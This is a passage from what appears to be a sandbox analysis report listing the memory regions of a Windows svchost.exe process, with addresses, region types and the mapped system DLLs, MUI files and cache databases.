"\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2200 start_va = 0x1a0000 end_va = 0x1aafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 2201 start_va = 0x1b0000 end_va = 0x1bcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 2202 start_va = 0x1c0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2203 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2204 start_va = 0x3c0000 end_va = 0x547fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 2205 start_va = 0x550000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2206 start_va = 0x6e0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2207 start_va = 0x7a0000 end_va = 0x7a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 2208 start_va = 0x7b0000 end_va = 0x7b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 2209 start_va = 0x7c0000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 2210 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 2211 start_va = 0x7e0000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 2212 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2213 start_va = 0x800000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 2214 start_va = 0x810000 end_va = 0x829fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 2215 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 2216 start_va = 0x840000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2217 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2218 start_va = 0x860000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 2219 start_va = 0x8e0000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 2220 start_va = 0x960000 end_va = 0x961fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 2221 start_va = 0x970000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 2222 start_va = 0x9f0000 end_va = 0x9f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2223 start_va = 0xa00000 end_va = 0xa01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 2224 start_va = 0xa10000 end_va = 0xa13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2225 start_va = 0xa20000 end_va = 0xa2dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 2226 start_va = 0xa30000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 2227 start_va = 0xab0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 2228 start_va = 0xae0000 end_va = 0xae7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 2229 start_va = 0xaf0000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 2230 start_va = 0xb70000 end_va = 0xb70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 2231 start_va = 0xb80000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 2232 start_va = 0xc00000 end_va = 0xecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2233 start_va = 0xed0000 end_va = 0xf35fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2234 start_va = 0xf40000 end_va = 0xf47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 2235 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 2236 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 2237 start_va = 0xfe0000 end_va = 0xfe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 2238 start_va = 0xff0000 end_va = 0x100ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 2239 start_va = 0x1010000 end_va = 0x1012fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 2240 start_va = 0x1020000 end_va = 0x1020fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 2241 start_va = 0x1060000 end_va = 0x107bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 2242 start_va = 0x1080000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 2243 start_va = 0x1090000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 2244 start_va = 0x10a0000 end_va = 0x10a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 2245 start_va = 0x10b0000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 2246 start_va = 0x1130000 end_va = 0x1131fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 2247 start_va = 0x1140000 end_va = 0x1140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 2248 start_va = 0x1150000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 2249 start_va = 0x1160000 end_va = 0x1167fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 2250 start_va = 0x1170000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 2251 start_va = 0x11f0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 2252 start_va = 0x1200000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 2253 start_va = 0x1210000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 2254 start_va = 0x1220000 end_va = 0x122ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2255 start_va = 0x1230000 end_va = 0x123ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2256 start_va = 0x1240000 end_va = 0x12bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2257 start_va = 0x12c0000 end_va = 0x12c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 2258 start_va = 0x12d0000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 2259 start_va = 0x12e0000 end_va = 0x12effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 2260 start_va = 0x12f0000 end_va = 0x12f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 2261 start_va = 0x1300000 end_va = 0x130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 2262 start_va = 0x1310000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 2263 start_va = 0x1320000 end_va = 0x139ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 2264 start_va = 0x13a0000 end_va = 0x13a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netcfgx.dll.mui" filename = "\\Windows\\System32\\en-US\\netcfgx.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netcfgx.dll.mui") Region: id = 2265 start_va = 0x13b0000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 2266 start_va = 0x1430000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001430000" filename = "" Region: id = 2267 start_va = 0x1440000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001440000" filename = "" Region: id = 2268 start_va = 0x1450000 end_va = 0x145ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001450000" filename = "" Region: id = 2269 start_va = 0x1460000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001460000" filename = "" Region: id = 2270 start_va = 0x1470000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001470000" filename = "" Region: id = 2271 start_va = 0x1480000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001480000" filename = "" Region: id = 2272 start_va = 0x1490000 end_va = 0x1490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 2273 start_va = 0x14a0000 end_va = 0x14a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 2274 start_va = 0x14b0000 end_va = 0x14b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014b0000" filename = "" Region: id = 2275 start_va = 0x14c0000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 2276 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 2277 start_va = 0x15e0000 end_va = 0x165ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 2278 start_va = 0x1690000 end_va = 0x170ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 2279 start_va = 0x1710000 end_va = 0x178ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 2280 start_va = 0x17a0000 end_va = 0x181ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 2281 start_va = 0x1820000 end_va = 0x182ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001820000" filename = "" Region: id = 2282 start_va = 0x1830000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001830000" filename = "" Region: id = 2283 start_va = 0x1840000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001840000" filename = "" Region: id = 2284 start_va = 0x1850000 end_va = 0x185ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001850000" filename = "" Region: id = 2285 start_va = 0x1860000 end_va = 0x186ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001860000" filename = "" Region: id = 2286 start_va = 0x1870000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001870000" filename = "" Region: id = 2287 start_va = 0x1880000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 2288 start_va = 0x1950000 end_va = 0x19cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 2289 start_va = 0x19f0000 end_va = 0x1a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 2290 start_va = 0x1ac0000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 2291 start_va = 0x1b40000 end_va = 0x1bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 2292 start_va = 0x1c30000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 2293 start_va = 0x1d30000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 2294 start_va = 0x1e30000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 2295 start_va = 0x1ed0000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 2296 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 2297 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 2298 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2299 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 2300 start_va = 0x2280000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 2301 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002300000" filename = "" Region: id = 2302 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 2303 start_va = 0x24a0000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 2304 start_va = 0x2520000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 2305 start_va = 0x2630000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 2306 start_va = 0x26d0000 end_va = 0x26dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 2307 start_va = 0x26e0000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 2308 start_va = 0x2830000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 2309 start_va = 0x28b0000 end_va = 0x292ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Region: id = 2310 start_va = 0x2980000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 2311 start_va = 0x2a10000 end_va = 0x2a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 2312 start_va = 0x2ac0000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 2313 start_va = 0x2b40000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 2314 start_va = 0x2bc0000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 2315 start_va = 0x2c40000 end_va = 0x2cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 2316 start_va = 0x2ce0000 end_va = 0x2d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 2317 start_va = 0x2d60000 end_va = 0x2e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 2318 start_va = 0x2e60000 end_va = 0x305ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 2319 start_va = 0x3060000 end_va = 0x315ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 2320 start_va = 0x3170000 end_va = 0x31effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003170000" filename = "" Region: id = 2321 start_va = 0x3290000 end_va = 0x32cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003290000" filename = "" Region: id = 2322 start_va = 0x32d0000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032d0000" filename = "" Region: id = 2323 start_va = 0x3320000 end_va = 0x339ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003320000" filename = "" Region: id = 2324 start_va = 0x33b0000 end_va = 0x342ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033b0000" filename = "" Region: id = 2325 start_va = 0x3430000 end_va = 0x34affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003430000" filename = "" Region: id = 2326 start_va = 0x3520000 end_va = 0x359ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003520000" filename = "" Region: id = 2327 start_va = 0x35a0000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 2328 start_va = 0x39c0000 end_va = 0x3a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 2329 start_va = 0x3a40000 end_va = 0x3abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a40000" filename = "" Region: id = 2330 start_va = 0x3ae0000 end_va = 0x3b9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2331 start_va = 0x3c60000 end_va = 0x3d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 2332 start_va = 0x3d60000 end_va = 0x3e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 2333 start_va = 0x3e60000 end_va = 0x3f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 2334 start_va = 0x3f60000 end_va = 0x405ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 2335 start_va = 0x4060000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004060000" filename = "" Region: id = 2336 start_va = 0x4180000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 2337 start_va = 0x4220000 end_va = 0x429ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 2338 start_va = 0x42a0000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 2339 start_va = 0x43a0000 end_va = 0x539ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 2340 start_va = 0x5410000 end_va = 0x548ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005410000" filename = "" Region: id = 2341 start_va = 0x5490000 end_va = 0x550ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 2342 start_va = 0x5530000 end_va = 0x55affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 2343 start_va = 0x55e0000 end_va = 0x565ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055e0000" filename = "" Region: id = 2344 start_va = 0x5690000 end_va = 0x570ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005690000" filename = "" Region: id = 2345 start_va = 0x5740000 end_va = 0x57bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005740000" filename = "" Region: id = 2346 start_va = 0x5840000 end_va = 0x58bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005840000" filename = "" Region: id = 2347 start_va = 0x58d0000 end_va = 0x594ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058d0000" filename = "" Region: id = 2348 start_va = 0x5a10000 end_va = 0x5a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a10000" filename = "" Region: id = 2349 start_va = 0x5b50000 end_va = 0x5bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b50000" filename = "" Region: id = 2350 start_va = 0x5cb0000 end_va = 0x5d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cb0000" filename = "" Region: id = 2351 start_va = 0x5d40000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 2352 start_va = 0x5e30000 end_va = 0x5eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e30000" filename = "" Region: id = 2353 start_va = 0x5ed0000 end_va = 0x5f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ed0000" filename = "" Region: id = 2354 start_va = 0x5f80000 end_va = 0x617ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f80000" filename = "" Region: id = 2355 start_va = 0x6180000 end_va = 0x61fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006180000" filename = "" Region: id = 2356 start_va = 0x62e0000 end_va = 0x635ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000062e0000" filename = "" Region: id = 2357 start_va = 0x6360000 end_va = 0x675ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006360000" filename = "" Region: id = 2358 start_va = 0x6880000 end_va = 0x68fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006880000" filename = "" Region: id = 2359 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2360 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2361 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2362 start_va = 0x77450000 end_va = 0x77456fff monitored = 0 entry_point = 0x7745106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2363 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2364 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2365 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2366 start_va = 0xff110000 end_va = 0xff11afff monitored = 0 entry_point = 0xff11246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2367 start_va = 0x7fef1e50000 end_va = 0x7fef2023fff monitored = 0 entry_point = 0x7fef1e86b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 2368 start_va = 0x7fef3340000 end_va = 0x7fef3381fff monitored = 0 entry_point = 0x7fef3370048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 2369 start_va = 0x7fef3480000 end_va = 0x7fef3499fff monitored = 0 entry_point = 0x7fef3491ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 2370 start_va = 0x7fef3570000 end_va = 0x7fef37c2fff monitored = 0 entry_point = 0x7fef357236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 2371 start_va = 0x7fef3cc0000 end_va = 0x7fef3ccefff monitored = 0 entry_point = 0x7fef3cc6894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 2372 start_va = 0x7fef3cf0000 end_va = 